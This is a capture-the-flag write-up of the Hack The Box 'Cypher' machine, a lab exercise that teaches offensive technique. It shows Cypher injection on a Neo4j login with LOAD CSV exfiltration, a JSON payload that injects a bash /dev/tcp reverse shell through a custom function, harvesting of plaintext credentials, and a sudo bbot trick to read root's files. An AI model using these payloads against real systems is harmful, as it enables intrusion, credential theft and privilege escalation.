1306 words
7 minutes
Cypher

User Flag#

Nmap Scan#

As always we start with an Nmap scan

Terminal window
# Nmap 7.94SVN scan initiated Sat Mar 1 22:40:25 2025 as: nmap -Pn -p- -A --min-rate 5000 -oN scan.txt 10.10.11.57
Nmap scan report for 10.10.11.57 (10.10.11.57)
Host is up (0.050s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA)
|_ 256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cypher.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5.0
OS details: Linux 5.0
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 1025/tcp)
HOP RTT ADDRESS
1 50.10 ms 10.10.14.1 (10.10.14.1)
2 50.16 ms 10.10.11.57 (10.10.11.57)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Mar 1 22:40:50 2025 -- 1 IP address (1 host up) scanned in 24.89 seconds

I added cypher.htbto /etc/hosts

Terminal window
echo -e "10.10.11.57\tcypher.htb" | sudo tee -a /etc/hosts
10.10.11.57 cypher.htb

Directories enumeration#

Terminal window
$ ffuf -u http://cypher.htb/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://cypher.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
about [Status: 200, Size: 4986, Words: 1117, Lines: 179, Duration: 54ms]
api [Status: 307, Size: 0, Words: 1, Lines: 1, Duration: 55ms]
demo [Status: 307, Size: 0, Words: 1, Lines: 1, Duration: 63ms]
index [Status: 200, Size: 4562, Words: 1285, Lines: 163, Duration: 114ms]
login [Status: 200, Size: 3671, Words: 863, Lines: 127, Duration: 53ms]
testing [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 53ms]
:: Progress: [20476/20476] :: Job [1/1] :: 732 req/sec :: Duration: [0:00:41] :: Errors: 0 ::

Exploring Exposed Artifacts and Identifying Vulnerabilities#

By navigating to the testing folder I found jar file left exposed by someone I opened it with JD-GUI and found that it contains a class called CustomFunctions, which creates a custom Neo4j function named custom.getUrlStatusCode. It is designed to fetch the HTTP status code for a given URL. The function uses a shell command to execute curl and retrieves the status code. I went back to the login page and started playing with the body of the request. By inserting a ' inside the username object, I triggered an error that indicated a Neo4j syntax issue. The error message revealed that the application was constructing a Cypher query using the provided username and password, and the single quote caused a parsing failure in the query. The error specifically mentioned a syntax error due to an unclosed string literal, which suggests that the input was not being properly sanitized or escaped before being included in the query.

Exploiting Cypher injection#

This behavior points to a potential vulnerability to Cypher injection, similar to SQL injection, where malicious input could manipulate the query’s logic. To exploit this further, I used a simple payload from Neo4jection: Secrets, Data, and Cloud Exploits

Terminal window
$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.57 - - [02/Mar/2025 14:30:33] "GET /?l=USER HTTP/1.1" 200 -
10.10.11.57 - - [02/Mar/2025 14:30:33] "GET /?l=HASH HTTP/1.1" 200 -
10.10.11.57 - - [02/Mar/2025 14:30:33] "GET /?l=DNS_NAME HTTP/1.1" 200 -
10.10.11.57 - - [02/Mar/2025 14:30:33] "GET /?l=SHA1 HTTP/1.1" 200 -
10.10.11.57 - - [02/Mar/2025 14:30:33] "GET /?l=SCAN HTTP/1.1" 200 -
10.10.11.57 - - [02/Mar/2025 14:30:33] "GET /?l=ORG_STUB HTTP/1.1" 200 -
10.10.11.57 - - [02/Mar/2025 14:30:33] "GET /?l=IP_ADDRESS HTTP/1.1" 200 -

it’s possible to retrieve the value of a property from the node if we treat it as a map: n[key], so we can use LOAD CSV to exfiltrate the data of the properties we got already And we got the values of the properties.

Terminal window
$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.57 - - [02/Mar/2025 14:33:26] "GET /?name=graphasm HTTP/1.1" 200 -
10.10.11.57 - - [02/Mar/2025 14:33:45] "GET /?value=9f54ca4c130be6d529a56dee59dc2b2090e43acf HTTP/1.1" 200 -
10.10.11.57 - - [02/Mar/2025 14:34:26] "GET /?host=211.255.9.117 HTTP/1.1" 200 -
10.10.11.57 - - [02/Mar/2025 14:35:08] "GET /?parent_uuid=d0ba01af-b882-4284-92f4-01412cb123c4 HTTP/1.1" 200 -
10.10.11.57 - - [02/Mar/2025 14:35:08] "GET /?scope_distance=0 HTTP/1.1" 200 -
10.10.11.57 - - [02/Mar/2025 14:35:08] "GET /?uuid=d0ba01af-b882-4284-92f4-01412cb123c4 HTTP/1.1" 200 -
10.10.11.57 - - [02/Mar/2025 14:35:08] "GET /?scan=SCAN:eb3cf8eb641dd2e8005128c2fee4b43e59fd7785 HTTP/1.1" 200 -
10.10.11.57 - - [02/Mar/2025 14:35:08] "GET /?type=SCAN HTTP/1.1" 200 -
10.10.11.57 - - [02/Mar/2025 14:35:09] "GET /?web_spider_distance=0 HTTP/1.1" 200 -

we have the username graphasm and the SHA1 password hash, I tried to crack the hash but no luck.

Getting a reverse shell#

Do you remember the jar file we found that creates the custom procedure, we can attempt to inject a reverse shell by calling this custom procedure. So I crafted a payload that calls the getUrlStatusCode procedure and inject a revshell

{
"username": "' Return 1 Union CALL custom.getUrlStatusCode('http://10.10.14.168:8000/ ; /bin/bash -c \"bash -i >& /dev/tcp/10.10.14.168/4444 0>&1\"') YIELD statusCode AS s RETURN 1 // ",
"password": "anything"
}

I sent this request while I had a listener opened on port 4444, and got a revshell as neo4j

Lateral movement#

I typed neo4j —help and noticed this env variable called NEO4J_HOME

Terminal window
neo4j@cypher:~$ cd $NEO4J_HOME
cd $NEO4J_HOME
neo4j@cypher:~$ ls -al
ls -al
total 68
drwxr-xr-x 15 neo4j adm 4096 Mar 3 10:18 .
drwxr-xr-x 50 root root 4096 Feb 17 16:48 ..
-rw-r--r-- 1 neo4j neo4j 63 Oct 8 18:07 .bash_history
drwxr-xr-x 4 neo4j neo4j 4096 Mar 3 08:56 .bbot
drwxrwxr-x 3 neo4j adm 4096 Oct 8 18:07 .cache
drwxr-xr-x 2 neo4j adm 4096 Aug 16 2024 certificates
drwxr-xr-x 3 neo4j neo4j 4096 Mar 3 08:56 .config
drwxr-xr-x 6 neo4j adm 4096 Oct 8 18:07 data
drwx------ 3 neo4j neo4j 4096 Mar 3 10:37 .gnupg
drwxr-xr-x 2 neo4j adm 4096 Aug 16 2024 import
drwxr-xr-x 2 neo4j adm 4096 Feb 17 16:24 labs
drwxr-xr-x 2 neo4j adm 4096 Aug 16 2024 licenses
drwxr-xr-x 3 neo4j neo4j 4096 Mar 3 10:18 .local
-rw-r--r-- 1 neo4j adm 52 Oct 2 15:55 packaging_info
drwxr-xr-x 2 neo4j adm 4096 Mar 3 08:41 plugins
drwxr-xr-x 2 neo4j adm 4096 Feb 17 16:24 products
drwxr-xr-x 2 neo4j adm 4096 Mar 3 07:41 run
lrwxrwxrwx 1 neo4j adm 9 Oct 8 18:07 .viminfo -> /dev/null
neo4j@cypher:~$

I found a .config folder that contains a folder bbolt that contains two files, bbot.yml and secrets.yml I looked for anything interesting inside these two files and found a credentials for Neo4j database.

Terminal window
$ tail secrets.yml && echo
# http:
# username: ''
# password: ''
# websocket:
# token: ''
# splunk:
# hectoken: ''
# neo4j:
# username: neo4j
# password: bbotislife

I tried to access ssh as graphasm with this password but not luck. And, then I displayed the content of .bash_history and found some interesting stuff.

Terminal window
$ cat .bash_history
neo4j-admin dbms set-initial-password cU4btyib.20xtCMCXkBmerhK

The admin has set a initial password to neo4j. Again, I tried to access ssh as graphasm with this password and I succeded

Privilege escalation#

Let’s check what graphasm can run with sudo:

Terminal window
$ graphasm@cypher:~$ sudo -l
Matching Defaults entries for graphasm on cypher:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User graphasm may run the following commands on cypher:
(ALL) NOPASSWD: /usr/local/bin/bbot

We can see that graphasm has passwordless sudo access to execute /usr/local/bin/bbot.

bbot is a multipurpose scanner built to automate Recon, Bug Bounties, and ASM.
It allows loading and executing custom modules as well as loading custom YARA rules.
We can exploit this feature to read the root flag.

To achieve this, I executed the following command:

Terminal window
sudo bbot --custom-yara-rules=/root/root.txt --dry-run -d
  • --dry-run: Prevents the scan from executing (useful for testing).
  • -d: Enables debug mode, allowing us to see the content of the imported YARA rule.

By using this method, we can successfully read the root flag.

Cypher
https://dahmanisec.me/posts/cypher/
Author
Abderrahim Dahmani
Published at
2025-03-23
License
CC BY-NC-SA 4.0